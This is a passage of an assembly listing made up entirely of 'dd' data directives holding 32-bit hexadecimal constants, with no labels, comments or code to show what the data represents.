		dd 0C029F6ACh, 9E7CAh, 20245DAEh, 2D991078h, 91238600h
		dd 1B2E174Ch, 0A9D10037h, 208C69EBh, 5548A881h,	78261FC2h
		dd 0F498E40h, 51EDD077h, 0F6E8D95Bh, 0E6690C80h, 5A588981h
		dd 0B4B0421Bh, 6C3BD830h, 25853072h, 5AF9EF11h,	947181C0h
		dd 51F1D9h, 73D7C990h, 5E6C3C83h, 7FCFA114h, 1B4A0014h
		dd 6D04640Bh, 0FFAC0070h, 7AE0D349h, 12603394h,	0F2F82058h
		dd 85A0002Bh, 0DA6E987Dh, 5F00FF7Bh, 2A405012h,	74D535C3h
		dd 99E10026h, 9AD80AEDh, 0AA0089CFh, 9286323Bh,	7AC3F41h
		dd 0BD4483E4h, 66A64053h, 9F0090A5h, 1AB07160h,	1F21AF37h
		dd 9F52DD2Bh, 24BA0E1Fh, 5348783h, 77D3B7C0h, 3F258B14h
		dd 0BA571DA0h, 621D403h, 6728C023h, 0BDCF00A2h,	7BC2461Eh
		dd 5A013C65h, 80FC3059h, 30805B0Bh, 7C1229B3h, 973BD28Ch
		dd 755F001Dh, 6047DEF7h, 0A16A0AA7h, 80301BAAh,	0CE77C51h
		dd 0B10074A3h, 0FA1E9E61h, 1762FE4h, 7C01D323h,	0C85FA072h
		dd 483A114Ch, 0AD1E1FD4h, 78F7B300h, 0D1F33Dh, 2066FF74h
		dd 7D013992h, 16B76B07h, 3E70A31Eh, 32F0565h, 368A26E4h
		dd 59E0153Fh, 0E60377D4h, 0AD21D3AAh, 0E3B0B07Dh, 2D8A011Ch
		dd 8C081A2Ah, 9DD6408Fh, 92EA9EF1h, 0DDD41F00h,	5DB84D2Ch
		dd 4088DE1Dh, 7042774Ah, 0C3398CD7h, 3C2006D2h,	3287673h
		dd 0CBCE52C5h, 0C4E0BEABh, 0AE05636Bh, 0B4A4247Ch, 64C0841Eh
		dd 37111D3Ch, 0F4EF7B06h, 0BC9C01DBh, 0BD0E2E4Ah, 691DF81Ch
		dd 547FD900h, 0CAB6F87Ah, 30FF740Ah, 1320BA4Bh,	0A100D89Ch
		dd 802DE9B1h, 783E624Ch, 9BFC0099h, 700DA5F9h, 770053D4h
		dd 5FD2E5CBh, 73521971h, 3D1100F3h, 0CA7FFCBAh,	6C035369h
		dd 779A5FEAh, 130DA1A8h, 0CA27DF00h, 38394A00h,	92DD18E2h
		dd 0F94000Ah, 1D613D36h, 0B0C04405h, 0C853E6Fh,	38DE12h
		dd 650178F1h, 0BF076C0Dh, 0AA4A9619h, 7F3EA543h, 0FBCF0320h
		dd 0BB1E2AEEh, 7F79D03Fh, 9AC36900h, 58E708D3h,	982E00E4h
		dd 3E7B17BEh, 0F702B0A3h, 11FA87C2h, 3D84A03Fh,	31D9A74h
		dd 49C5F4DAh, 5A87927Ch, 854B11A8h, 0A3C1D954h,	0A84CEF62h
		dd 8681C022h, 94E7D86Bh, 7C705300h, 25F14613h, 8B5000D7h
		dd 185F10BDh, 8C2AAD42h, 0E9F6D819h, 708D7E30h,	3DF1FBD1h
		dd 0C7840806h, 80941554h, 3F090287h, 0EB9CFE00h, 28446168h
		dd 45470319h, 0C8678B08h, 0B4B3FCD8h, 0D87FD600h, 5C0D4CB5h
		dd 60F03044h, 30500831h, 9DC39405h, 0D4ACE9B3h,	1E2D1201h
		dd 0E49E8AFCh, 0C73F9A6Dh, 97081D5Dh, 46514400h, 0CD833h
		dd 5F5C9FCh, 0F42F58C2h, 81D1600h, 379B7AA7h, 312A18D4h
		dd 0CAA51830h, 47022B16h, 0F56EDF07h, 54D181Ch,	0ED446A19h
		dd 9E30007Ah, 518E862Fh, 0B088EE00h, 38336BEBh,	53165877h
		dd 53282E33h, 42DB72F0h, 237FA105h, 0C6812839h,	2B70DD75h
		dd 0B5C009Fh, 7F228A93h, 6600013Ah, 0E95780EBh,	10EC5Fh
		dd 60EF0DB7h, 2649B5DBh
		dd 6A73A301h, 6B44E953h, 21A10898h, 26769C95h, 80E11A3Ch
		dd 468A6CAAh, 75A1258h,	0AFD5DB5Fh, 0E2C210D8h,	80000A05h
		dd 0D496861Ch, 1D8960EEh, 0FB3014h, 43405D71h, 0ED00C01Eh
		dd 35FA7E0Bh, 7155687h,	39AB013Eh, 385DC660h, 488E58C1h
		dd 32F47DC1h, 0A2A81928h, 805B086Ah, 0C00F2E79h, 788C9E70h
		dd 7A38C3D4h, 0EFF0BBFFh, 0EA004724h, 5FF24B52h, 0C03C31E9h
		dd 0E8A27558h, 700022F9h, 0A9EECA64h, 45D7C54Eh, 625BE454h
		dd 388D3631h, 9180342Ch, 33DA3F3h, 0B4001FFFh, 418DFC67h
		dd 0FE3D942h, 9954D5F2h, 6CCC87CFh, 15EEC049h, 0B0EC6100h
		dd 40E02B09h, 6E22E808h, 0B18020DCh, 0EB0AA316h, 0C0FD3250h
		dd 80B42D3Eh, 66F1BFF5h, 0FE3D5DDh, 0ECA167D8h,	0B760C40Eh
		dd 0A25703F9h, 0BA338300h, 0DC4F0C04h, 27453E73h, 2D704D80h
		dd 0FA0563B7h, 0A714C203h, 8F593E7Eh, 0AB996600h, 75BC0027h
		dd 5A2F2436h, 467A7D71h, 4BC65D00h, 91C745ADh, 9C220058h
		dd 93D24909h, 0FE007E9Dh, 26516B97h, 0C3D0CB90h, 5BBB4FC6h
		dd 94773AD8h, 80A59B3Dh, 0B8CC892Eh, 0A8D269h, 0F62F2BC6h
		dd 481385DFh, 70A6C53Ch, 41014479h, 0F7822C23h,	31704DE6h
		dd 0E30A00ADh, 18BB1984h, 0BC004290h, 5ACC3972h, 0A003B6h
		dd 0F86C5238h, 43321ABEh, 247A2F00h, 30115040h,	257D0035h
		dd 0A25947E8h, 5E748F0Fh, 2042C330h, 7CF453h, 7FC2DEEEh
		dd 7CF84E9h, 2735200h, 57916E40h, 10C807BDh, 40BB5043h
		dd 465B33C5h, 7279CE1Ch, 389849B6h, 1B18124Ah, 0B3F0A9C0h
		dd 3D8B2201h, 334E99E7h, 20B809B6h, 79004BE4h, 837781BCh
		dd 132C5F1h, 57113501h,	91C2132Bh, 8B8069D1h, 57E8B37Fh
		dd 94105843h, 528D0741h, 0CDB3A97Ch, 3A17B65h, 0BDEC3F77h
		dd 69E1671Ah, 0B148F3B9h, 74637411h, 887C2510h,	19C3BDh
		dd 27613AF8h, 5233370Ch, 65D09800h, 0AEEC76BAh,	0A86900FFh
		dd 0DD1AB85Ch, 8C050142h, 9DB38338h, 0AECAA9C0h, 0A2291D93h
		dd 0AD304654h, 0AF006E74h, 56A8CF6Ch, 53B7E9h, 1B7A3F84h
		dd 0FECCD324h, 0F06CE600h, 9C1FFAFh, 98F71D2Fh,	7F9280F6h
		dd 0EABA5664h, 0E615F101h, 12A5AD77h, 29311C98h, 828B94E5h
		dd 0AE7322E9h, 222C3422h, 0FE22CE19h, 9F082F03h, 882BC988h
		dd 3C88937Dh, 0A93B880Ch, 9894C288h, 0BE417911h, 87816C00h
		dd 56D040C8h, 61F0008Ah, 33A13226h, 60C0EA51h, 0DC7B3D70h
		dd 6FDB00F8h, 0AA80D9F6h, 0F006164h, 0F0B73311h, 3C4620h
		dd 0FAD6A783h, 8218A3E2h, 78A2880Bh, 0D7BF80AFh, 16D38A6h
		dd 0C4577574h, 0CC1958BFh, 971F4E2Ah, 705CF73Ch, 52F12906h
		dd 0ADE40120h, 5D67AF86h, 27A0FFFCh, 2004D8Ch, 0CAFA1F48h
		dd 32D0989h, 66F3ED7Dh,	0E3B8EF08h, 313DA08Eh, 0DE548052h
		dd 4CFF5CA2h, 667803CEh, 592C5E48h, 103D87B8h, 0B83B8D18h
		dd 3C223756h, 9A80CF44h, 0F6DCDA78h, 0ED00C2EAh, 0BA7384E1h
		dd 287B11h, 0D6885E4h, 31DB0AE7h, 9A9FA000h, 3FB6B020h
		dd 0E5A0145h, 41BAF5Bh,	0D53C2106h, 275EC07Fh, 2D391C00h
		dd 0BDA0F413h, 33760062h, 3F53B28Eh, 8900551Dh,	4195D2AEh
		dd 0E622FEh, 7A18D35Dh,	40CD8468h, 0CC9B7702h, 80C366A2h
		dd 0DCB276B4h, 2EC00010h, 0EF8F57D2h, 6C00B386h, 2906D4BDh
		dd 0AC7F79h, 1EAFF1C0h,	0B5364D52h, 4905DB00h, 986F64ADh
		dd 0C4721F5Ch, 0F0EFC40Fh, 69688025h, 8B03B167h, 65F776E1h
		dd 41608A02h, 12F8FC5Dh, 0CEBA0384h, 519782BCh,	758CD4A0h
		dd 92B0470Eh, 89D24068h, 5AF5A4h, 5595A6AFh, 77508AA1h
		dd 6BA0DF01h, 5B62063h,	0B0A69040h, 138B00BDh, 88F09E54h
		dd 2203864Ah, 6AC60B50h, 35A6C04Bh, 927900DBh, 3E95C98Eh
		dd 472674F2h, 0A100319Eh, 0B3A6BF3Ah, 2CE800B0h, 3897AA75h
		dd 4601A350h, 8FF007BEh, 67DDB8B9h, 1C58EFE4h, 41521D64h
		dd 0FDA38077h, 6056F918h, 19F86D1Eh, 7C63593Ch,	7158C39h
		dd 0A71AA64Eh, 8DE0F060h, 17FF002Dh, 0B569A452h, 49008CE6h
		dd 0AF02811Fh, 874E80h,	727E5F2Dh, 78271DF6h, 0F017FA30h
		dd 0B0F37390h, 0A6AC009Eh, 0C2F2A948h, 0A0007961h, 5F0BD2B7h
		dd 36972B3h, 5522D41Ah,	0A38064DCh, 9103E961h, 0FD57AC80h
		dd 7D31EAC9h, 98A0F5C2h, 0D2FC70D1h, 8601FBF8h,	9BAE3F6Bh
		dd 4F7078CFh, 0BA240175h, 5F903947h, 4263E055h,	573F8B00h
		dd 0DADCEF50h, 0FEC0093h, 0AC859792h, 547FB670h, 7B031800h
		dd 84A6256Eh, 0AE73B8h,	7EFF5EA7h, 970F7C1Bh, 4EF75500h
		dd 80FD06C1h, 1C4D7A21h, 0C0326665h, 397B0E9Dh,	62901B77h
		dd 0A3091D01h, 0FB28907Ch, 25DBE8h, 54AE12E2h, 944E3946h
		dd 0EDA85201h, 56499BCEh, 4BC4A180h, 92F41F1Bh,	1ACD750Fh
		dd 801E2FB1h, 60A1C8B5h, 4C55000Eh, 0D6F8AA22h,	1603641Dh
		dd 0A5B5C3B2h, 2B54F0F3h, 63B300DEh, 807AFBFEh,	78007D74h
		dd 129F214Dh, 0BB1B864h, 4657EEBh, 0DD7FA180h, 3A71BC94h
		dd 0C929F800h, 0FC44B039h, 0E28C00C5h, 4026E4FBh, 60065CBh
		dd 18CC5730h, 4E9252h, 0D93732D6h, 8C594101h, 0BB8B7A00h
		dd 5C72A2B4h, 0CAF800F1h, 924F3971h, 37E609A8h,	0D9B2B13h
		dd 0FA212C00h, 19545C8h, 6516F4Dh, 0CC8757F6h, 9D12C75Bh
		dd 280013F2h, 0BAAC3868h, 8014073Bh, 4747C1B0h,	30EEF7EAh
		dd 6AA7A33Ah, 0C3519100h, 0BA5E567Ah, 0B714Bh, 89A9B231h
		dd 0F10FBEDDh, 0FF7C2B02h, 62BA6Ch, 0D3E68799h,	0C96080h
		dd 0ACE37992h, 0C2596873h, 0F974A900h, 6F397E34h, 64223F38h
		dd 0B8B1DB00h, 0FBA75E0Ch, 0CF695800h, 1F78A1BAh, 0C6F924F6h
		dd 2F668348h, 0CE00880h, 0E0B4AB1h, 1D43BF3h, 0C1BAA014h
		dd 10B87DCh, 0FAC28AA7h, 80EE9608h, 6421ACDAh, 103441Bh
		dd 0BCE14975h, 8068F3F9h, 3F0E7676h, 0D37A64h, 9683B374h
		dd 0ACA0C463h, 36A1B100h, 0FB41F189h, 85E640h, 0D03AAA55h
		dd 4B01F8BAh, 944DF500h, 0DE7C1F89h, 8FF90006h,	878B4A9Bh
		dd 0D30029C0h, 4590A12Bh, 0A0A375h, 405E17B9h, 0BE9499DBh
		dd 7DCB5707h, 0B8301B38h, 20C879h, 5BB7CCDFh, 60C3C21Dh
		dd 39FC8302h, 404072B5h, 80FA61h, 0BC2FBFFBh, 0D9C85547h
		dd 200417Dh, 0E986CABh,	98B00C85h, 207A13CCh, 0AC9C0052h
		dd 0E9359DDBh, 8CB35Ch,	0DCF1E378h, 7A468C11h, 8EB4A06Bh
		dd 1CC0005Ah, 0CED707ECh, 0D403CDAFh, 5216FC31h, 0FA72B3F9h
		dd 79B460C7h, 0FAD5058Dh, 83A67DB0h, 8FB1F94Ch,	0EE75C468h
		dd 4EE39A0Fh, 146FA045h, 5094E8BDh, 57880BBh, 0BE730BADh
		dd 8C44084h, 2D233E29h,	5C64050Eh, 85A442E2h, 1BCC8079h
		dd 2AB90Ah, 0ADAC9F7Dh,	76AF99EEh, 0CAC8DB09h, 0CFB8005Bh
		dd 5066F8h, 5A878D1Ch, 625D9A6Ch, 0B5004974h, 3D24B34Dh
		dd 0EA6DCBB8h, 0B1801F6h, 5749E248h, 9801F333h,	0BE0F2E7Ch
		dd 0F86463BDh, 232500F3h, 0B7E35324h, 0E426C1C8h, 3C076C1Fh
		dd 0EFB911h, 0ECBFA4CFh, 0AC101E29h, 91E28031h,	0D60FB550h
		dd 302C90B2h, 0C420A926h, 44397C00h, 5AEB5751h,	2F50ECD8h
		dd 0CAF028FFh, 9985AC04h, 0AA80A383h, 3AE98852h, 6C00A49Ah
		dd 0F0980ED8h, 8A24D06Ah, 0C0074F6h, 93835F38h,	0DD6C01E7h
		dd 51ADECAh, 21EC372Ch,	43658773h, 0F769CF08h, 0D5508F00h
		dd 9C7E3492h, 637FEC00h, 78E5D0F2h, 358A0EF0h, 14E31840h
		dd 6890220Bh, 0F20449AEh
		dd 0EBEE031Eh, 0C9C2CC0h, 7CD737Ch, 0DB70465Ch,	170F2068h
		dd 0E7F28AC2h, 56280903h, 0D872294Dh, 0F2C7FFDCh, 0ABF50038h
		dd 0F1E8CDBEh, 391F0551h, 0F447EAE5h, 0FDD09995h, 5D62B909h
		dd 0E00000E9h, 56D610CCh, 390702D9h, 14E7AF1Eh,	0AE59EF61h
		dd 0CD8F60h, 8D8501AAh,	0E2535B57h, 814FF100h, 9FA6D6C9h
		dd 5DB8A060h, 0D01426EFh, 396A009Dh, 0C99C1DE8h, 903F9E28h
		dd 0E20057FEh, 2183E040h, 1293599h, 6A77F8C4h, 0EEE4988Fh
		dd 6FF400E0h, 0FC554F00h, 2B89D728h, 8428C00Dh,	0E3F53A94h
		dd 451AAD02h, 0E0FA02B9h, 7AE4038Ah, 340D00C6h,	0DD7E3655h
		dd 0B3007FA3h, 0EEE0B121h, 4C4366h, 0D799498Fh,	0FCB01F58h
		dd 69D4F200h, 0B01DF37h, 0DCF000EDh, 4C94BE4Fh,	0F11C7D46h
		dd 834335FAh, 0C067FB39h, 0F4ED1122h, 70957EFEh, 521B00BBh
		dd 0ECBA887h, 0F024073h, 0C62DAD36h, 5BB080FEh,	9EB441h
		dd 0EDA2DBA3h, 7E54B332h, 0F5367303h, 804E904Fh, 3FC9945Eh
		dd 100D8EFh, 24A2E243h,	360EDD13h, 8FB234h, 63734B38h
		dd 0D6D001A6h, 0C487B6FAh, 0C0402813h, 0AF85CCA0h, 0E89EB04Bh
		dd 18C900B9h, 771C84E1h, 7300D598h, 6392597Bh, 9D86DDEh
		dd 0DB3D7558h, 7EE5D460h, 0FA441C96h, 0C6395481h, 7D08F4h
		dd 5E128B59h, 5D36B3AEh, 87D7402Eh, 0A1C68101h,	0FBD05087h
		dd 0BFC70751h, 30A582D6h, 92C8E53h, 0EF6EE700h,	0B267A821h
		dd 6F3B0547h, 0AFFAF20Ah, 2F160880h, 0F0250065h, 0A430BB0Eh
		dd 0B300559Dh, 45AC2CCDh, 0B848CB8Bh, 1D5CA17Ah, 9D8130h
		dd 46902BD0h, 91EB97B5h, 0A6FAC5EEh, 0D73DC0Bh,	5B40A054h
		dd 3F7DEDB6h, 0E23DBF39h, 627E2280h, 53CB76E1h,	1483E51Eh
		dd 2B9FA6BAh, 0B18E7500h, 5C906E8Dh, 0FC04B00Ch, 0A0CC6335h
		dd 0A40080DCh, 74E5C1B9h, 4CDEA9h, 0A5D924BEh, 45C3C7E2h
		dd 9194401Dh, 4044364Ch, 506100A1h, 490938B0h, 1D02928Ch
		dd 0ECEB66DBh, 0BAA10FDFh, 2CA4CC1Ah, 0E3811D5Ch, 29557641h
		dd 0B1E0CF74h, 0C2A00007h, 2332B2Ah, 4E6C0F9Bh,	7AC490B0h
		dd 0ACEE019Fh, 25898A64h, 576EDC29h, 1A1FEF12h,	6D63F840h
		dd 383E43AAh, 0FC0BD373h, 14800C51h, 637956E7h,	577EBF00h
		dd 0C6268A61h, 0CB8500B9h, 0DCAB70C3h, 81B872D1h, 2022B000h
		dd 8699EBCFh, 9C90A5h, 0B97CB555h, 64460B7Eh, 4296171Ch
		dd 20AB130Eh, 69CDDB2Ch, 91C33F6Dh, 18BA3998h, 70004797h
		dd 0CD35F0ACh, 3879CF0Ah, 5A80DC29h, 0B28D6B80h, 0EC039D89h
		dd 0E5622406h, 763A847h, 528E00F6h, 9D7E3A68h, 0C7005ED6h
		dd 75E8059Ah, 5794EDh, 3DBA8482h, 197B9CADh, 2E0FDAFAh
		dd 256F52E5h, 0BC00E68Dh, 27A8E049h, 0D9B10F1Eh, 71C0F8F0h
		dd 761D713h, 0C0D12901h, 30EEFC8Dh, 28DCE4h, 0A1EFF9BAh
		dd 8F754C9Ch, 0B4ECAB00h, 0CD19F6BFh, 0BDAD0E87h, 54AB90A5h
		dd 353D5000h, 6BFA3E0Ah, 0EBA88FA3h, 2AC05FAAh,	1757AC81h
		dd 49FF00CBh, 54F2F3BCh, 85009C83h, 5A09E84Dh, 1F869B18h
		dd 0C0067C6Eh, 93802E98h, 8C005EEAh, 0D7B71FCFh, 48C083DDh
		dd 7B0B70E4h, 0F4A0F764h, 0BEE3B0Ch, 82F9CD07h,	0A5904CD3h
		dd 1E716C1Eh, 0C0A1EC8Bh, 7D4FC6F1h, 0AA162DEEh, 1B00F9E2h
		dd 648B2A97h, 0A4B65061h, 8245000Dh, 6F3CBE3Eh,	6C07A4ECh
		dd 87360AE4h, 0D6540560h, 0E63242Bh, 53013C78h,	2AD0156Eh
		dd 3F24D479h, 5A6C20E1h, 8BBDB900h, 905C2EEDh, 3C7F41Dh
		dd 0B70442Fh, 0B80E8006h, 3377E4B8h, 0E1823D00h, 1C38358Eh
		dd 0BD705FF4h, 0D147C381h, 0FC5088CFh, 0EC005B03h, 0F1E4338Dh
		dd 0C2B0F8h, 0BA59655Ch, 0FE8ADAD2h, 0F52D291Eh, 16B34F40h
		dd 71E86h, 95B4D8E1h, 0E43BC725h, 80466D3Eh, 0BDA32213h
		dd 0EA3552h, 344A913Eh,	0CF888D3Ah, 51695D00h, 7CEB85Ah
		dd 0EC3E3BF8h, 0F29D7403h, 1FB8F689h, 54BA4210h, 79A9D81Eh
		dd 8BA1048Ah, 0D134B100h, 1943B3h, 979180FAh, 5D22C03Bh
		dd 6FBCA601h, 0B428FBEAh, 0EC221F8h, 2CF68D52h,	71AC5C02h
		dd 977D5C40h, 2E4CD780h, 404C56D1h, 120BE3A1h, 0E5C048h
		dd 0CC0E0815h, 3EF4F5Ah, 742EB6DCh, 6DF9BBB1h, 20B4500Ch
		dd 0F000F287h, 0AA1BD289h, 0DC15FE12h, 4C0D5D30h, 4C287C46h
		dd 0AFF7FB01h, 228F681Bh, 10123420h, 177ED29Dh,	0E503B11Fh
		dd 0D830D58Eh, 1765834Bh, 0BE36772h, 0DF000B58h, 136D2EA9h
		dd 1287E52Dh, 31ADC060h, 89BF0024h, 5F451BE7h, 9500C6F6h
		dd 0F2129F94h, 15E0B0h,	7090FFF8h, 84BF5D2Ah, 38E5DA00h
		dd 0A7F36C56h, 147B004Ch, 0ABD9F4D7h, 0EC019F90h, 0E7E25417h
		dd 0C4602723h, 9DFA0048h, 0AF67FDA6h, 2B3C5A16h, 770900F8h
		dd 7598F6B7h, 0B0150F99h, 0AF00379Dh, 0EB9F51F7h, 94C92A00h
		dd 22A95462h, 93ED0049h, 0ACAF4B44h, 0A80035FFh, 875D8550h
		dd 0E7BB9D3h, 5FA63795h, 12F6EBA0h, 0D717D1B7h,	6B009AF8h
		dd 364A849h, 599300EFh,	36051A94h, 6A00268Dh, 7FCEA280h
		dd 4D5C516h, 0D46171D9h, 0A80CA0EBh, 57F96D00h,	8E289A8Ch
		dd 799B7456h, 0F84D7108h, 3C92D4h, 0DB078229h, 0CAF28B25h
		dd 448E1D00h, 456AF7CBh, 0B8A061ADh, 8014DFE0h,	26A39959h
		dd 0B7B7062h, 59E28178h, 542DB800h, 6B70FC71h, 0D1C98A00h
		dd 80DA1F6Ah, 0E707039Bh, 0C1431389h, 2E5EB598h, 0E534B61Fh
		dd 3B852000h, 0DAAA0Ch,	186E8B3h, 33E37107h, 180115F6h
		dd 0B002475Dh, 0A08038FFh, 0EF247513h, 0AB003495h, 2E4C8AA1h
		dd 192F831h, 6F07AABEh,	70308C0Dh, 41556B85h, 99900C64h
		dd 62788307h, 0DD40CB92h, 50D47471h, 0EE6B10E8h, 0E639C0ACh
		dd 2AF28DBDh, 0ED281A00h, 1B7BDF6Ah, 0E57907F7h, 6757FCC7h
		dd 0A8EA3093h, 0C5071ADEh, 1F0910EFh, 0B3B56FC0h, 0C4623BE4h
		dd 0FC98D880h, 71BD1D08h, 59F0A900h, 91A3DFCFh,	2AA00EB9h
		dd 6D40B15Ah, 21E39E6Eh, 0EE1FE279h, 0E94E05B2h, 10F40751h
		dd 4CA97Ch, 706334CFh, 6BAA1D8Bh, 3078533Ah, 445721C9h
		dd 99A4004Ch, 6F2A3209h, 900782DBh, 0D69405EAh,	1D453020h
		dd 52933CEBh, 0F22FE080h, 7E8E6F71h, 38809050h,	81A74403h
		dd 0D19ED57Dh, 6D2079D9h, 5F590B83h, 720EF3E7h,	63AF20F8h
		dd 0DA50C70Ah, 0D27020C6h, 98078C6Ch, 74D75B9Fh, 89304Ch
		dd 0E1FBAA86h, 5CA8A7Dh, 2A8D953Ah, 5EE6C8F6h, 0A42FAA00h
		dd 401A652Eh, 41D9F992h, 692000EFh, 0BA3FCD08h,	343F0357h
		dd 33581D87h, 0E71A811h, 2FEB45DAh, 81F454C2h, 28B39EC0h
		dd 1F9C1754h, 2003A47Dh, 39F9CE32h, 0C922EF12h,	3FA560F7h
		dd 7D1A3719h, 2A2FA0B1h, 0C80649A0h, 0AFD9306Ah, 0BD8506E0h
		dd 788E6C6Dh, 0F6EE600h, 9CD7275Fh, 57DB2894h, 19AA0D98h
		dd 8898E586h, 602B44C8h, 56903F23h, 91335321h, 5F3CA1h
		dd 9B7D23Ah, 0B0FB2818h, 0E340004Dh, 9F970CBCh,	0E2304921h
		dd 0A0BB30A9h, 2B4AC09h, 0CAF1AA6Ch, 4C188DCDh,	43A681AFh
		dd 0DDF8A3C4h, 4600630Ah, 51FC1BF3h, 24AE6EBEh,	9498D12Ch
		dd 28819C10h, 0F026CCBBh, 0D8A8C7E6h, 1600E271h, 6F689A0Eh
		dd 3B0EDFEh, 17844DF9h,	0DB8925Fh, 8C65DC0Bh, 0E83A6999h
		dd 0BA00A323h, 0E42549CFh, 0CDAD0082h, 950D2EDEh, 8C769BD0h
		dd 5231B0Ch, 0D0762E77h, 9F3FCC38h, 7D22D000h, 4EEB24EDh
		dd 2725BD3Ah, 0B91C80D1h, 0ECBEABEh, 3FAF1705h,	0C148E520h
		dd 4105CD20h, 9198F796h
		dd 0BC10DC2Fh, 2C03C0B1h, 5273F791h, 0CA07A038h, 338ED34Eh
		dd 0EED0FD1Fh, 27309706h, 99E021F6h, 284200CDh,	0E5FE14D6h
		dd 0C4602AD8h, 51DD5359h, 20660A87h, 11A419BBh,	3F228729h
		dd 32DB57D1h, 6A88A20Ch, 0B43A035Fh, 934467Bh, 0EC082087h
		dd 9F54D377h, 9C058288h, 0A7E422F5h, 0B22AEB00h, 91EBDF43h
		dd 28D8001Ch, 67639A35h, 84524F3Fh, 64EB71A9h, 98527885h
		dd 73FC0500h, 632B387Fh, 686381A9h, 31568181h, 5AA4FCA8h
		dd 0CB09807Bh, 818F9895h, 0D969784Ch, 3E5FE058h, 85085DD0h
		dd 4842EC0Bh, 0EDBE0053h, 620ECBE9h, 5F749017h,	1D0A546h
		dd 6ACE03D1h, 82838481h, 0FBE20EA8h, 2A65D502h,	0E034736Eh
		dd 1706854h, 0E6BB2693h, 0EFAEDA1Ch, 0D52E81E8h, 7C2608FEh
		dd 5A916428h, 9CAA6D80h, 208CE5CAh, 0D748AE4Eh,	326000B0h
		dd 8C02826h, 774D013Fh,	7A138A2h, 2A8C50DEh, 0B00048FEh
		dd 0F3F439F6h, 2FCC08h,	0A2B1CB65h, 4D85697Dh, 0E30188A6h
		dd 2586C9D0h, 7208EAB5h, 71525440h, 71931ED1h, 0FCB8241Ch
		dd 0F6914900h, 0F8BF60D3h, 0F7C5173Ah, 0CC0CC047h, 0F225AB1Dh
		dd 0CF77C070h, 5AFC0027h, 0C5E355AAh, 85090D2Ah, 90D75FE8h
		dd 7E6F114h, 580A3CA9h,	78C09042h, 0F2004CB7h, 0CE98022Ch
		dd 1E33193h, 0A658D9B3h, 0F45D6015h, 130A568Dh,	0C0A0BD69h
		dd 0A0F6215Ch, 344EDA92h, 52E04765h, 0B098F205h, 613404CDh
		dd 32779B70h, 2A2D201Ah, 2909DB42h, 0E0F32CADh,	0B85B7D90h
		dd 0C7B80084h, 0F62F276Eh, 8092DBACh, 6576691Eh, 6B75A500h
		dd 0F1D47116h, 0E29457C8h, 0F618B2E2h, 0EC4F5669h, 3D08D02h
		dd 546C157Dh, 1540A44h,	34E6EAB3h, 0D870C9C3h, 6E01B6DDh
		dd 1A611B8Fh, 7080647Ch, 22D443B1h, 0A7059C80h,	0AD788221h
		dd 6841880Bh, 0DA949Ch,	5A984CBCh, 5F81A283h, 38029972h
		dd 2A73CE23h, 5C80A718h, 8B688B63h, 7FA90312h, 937D29DAh
		dd 72569838h, 1A82753h,	706D34F1h, 0C70C2C3Bh, 13E5988h
		dd 0D4168F35h, 30774FD7h, 5491AEB0h, 86B21AF8h,	18EA8C01h
		dd 1E1028FCh, 0A7CB6980h, 735DDC6Ch, 2E428C00h,	0C2560384h
		dd 58FFC47h, 812C8BC0h,	103C3AB1h, 0D7C0B1C6h, 564385BBh
		dd 95732A0Ah, 0D39D9083h, 0DCAB02C4h, 376DCC8h,	0F708E66Bh
		dd 0B8E080F9h, 62EAAAEh, 42620C61h, 3F891840h, 23565E1Fh
		dd 0F91B98E1h, 3A720695h, 0F197BD30h, 0E43314ACh, 1676008Fh
		dd 0DBCD9A4Ch, 0CE2415F1h, 0D8473852h, 0D1BA60F8h, 0BD217D20h
		dd 53368825h, 0EAC4BF00h, 0D015EDh, 3FFFEF81h, 8C6EF03Ah
		dd 2450C738h, 9CC3A407h, 6370F034h, 18448622h, 33F5002Ah
		dd 61DA2E5Ah, 5800C7A6h, 889C6AA7h, 98F43FAEh, 7B4FEE59h
		dd 0ACD5041Fh, 0C00C8D87h, 3117359Bh, 0CDD6F700h, 7BCCB692h
		dd 32CB3B06h, 0D03E2580h, 41EFDA20h, 5C6B6600h,	585018Ch
		dd 0E0D500FDh, 7133912Eh, 0B67B257Ah, 6034CE0Ch, 0B24052h
		dd 0B5E802C6h, 0A1E3A3EDh, 71D74F00h, 43089FFAh, 697FC2h
		dd 0FD3BBD61h, 48931B46h, 0AF1FB300h, 0CAEA9C0Ah, 4B950023h
		dd 0C941F02Ah, 300090E2h, 3CD92D75h, 1E5B0889h,	433BCA36h
		dd 1CCB457Ah, 4CF6F5C8h, 0BDE16A00h, 6CCCB102h,	0E7FD00CFh
		dd 521E90E3h, 6600F5DBh, 0B2C0A64h, 77F63BCBh, 809D6001h
		dd 0C87724FFh, 5286660Ch, 75766078h, 0B381CFC1h, 6FBAF5E0h
		dd 2A00B688h, 0C68DD394h, 1C73D945h, 0C1C3F0F7h, 0EFB46FF4h
		dd 0E48CC21h, 0B8A8C41Dh, 47B51E00h, 9B7E05h, 740B46D9h
		dd 91327B3Eh, 498D8900h, 4C65609h, 841000B3h, 0AD3E759Fh
		dd 0FD19E717h, 9D411552h, 420EE8h, 0D09A8F93h, 453FDBFEh
		dd 0E0A07EE6h, 4A00A344h, 0E04BFD91h, 724BEABh,	0EC4D45BBh
		dd 6B189355h, 3CAC000h,	0CB3994FBh, 0D245003Eh,	0DC9DF014h
		dd 0EF3FB9B2h, 33FA806Fh, 0DE9E776Bh, 0DF0E007Ch, 4E28DA80h
		dd 8C006246h, 0C67AFCC3h, 48BFED05h, 7F03C803h,	1D27FD78h
		dd 95ADE000h, 5648649Eh, 9F6601C9h, 0F916D599h,	2D208087h
		dd 0BD5996BAh, 0CB350AF6h, 3CE6D05Ch, 718C0D87h, 4EE7B07Bh
		dd 1D00F241h, 467A9BB1h, 652B48h, 7330EE38h, 4157033Ch
		dd 250E6D77h, 2090AC6Bh, 82928AFh, 0ECCD00E5h, 10C1FC69h
		dd 1612E8CFh, 178Ch, 4E35B560h,	66E30096h, 0B322A1CEh
		dd 7403F27Eh, 88F128AAh, 70ECE0B4h, 3CFFC4Ch, 72900305h
		dd 28E0A236h, 5200FABCh, 9DBB5AFDh, 1FBE709h, 2C049417h
		dd 0A8653876h, 0F90140C0h, 1B66EC48h, 0A829129Bh, 0D00171B8h
		dd 8909602Bh, 55706DF4h, 0EDCB25Bh, 0DA8AD7AAh,	11C89DC1h
		dd 77BFC8FEh, 4779FCB9h, 5B00FD18h, 2AE40D3Bh, 2697351h
		dd 2F5ECBF4h, 885BAB3Fh, 0E0772C58h, 0F7ABFh, 0EB0226D3h
		dd 0B1304759h, 7CED902Ch, 7F1B4103h, 0FF46E06Dh, 236500C4h
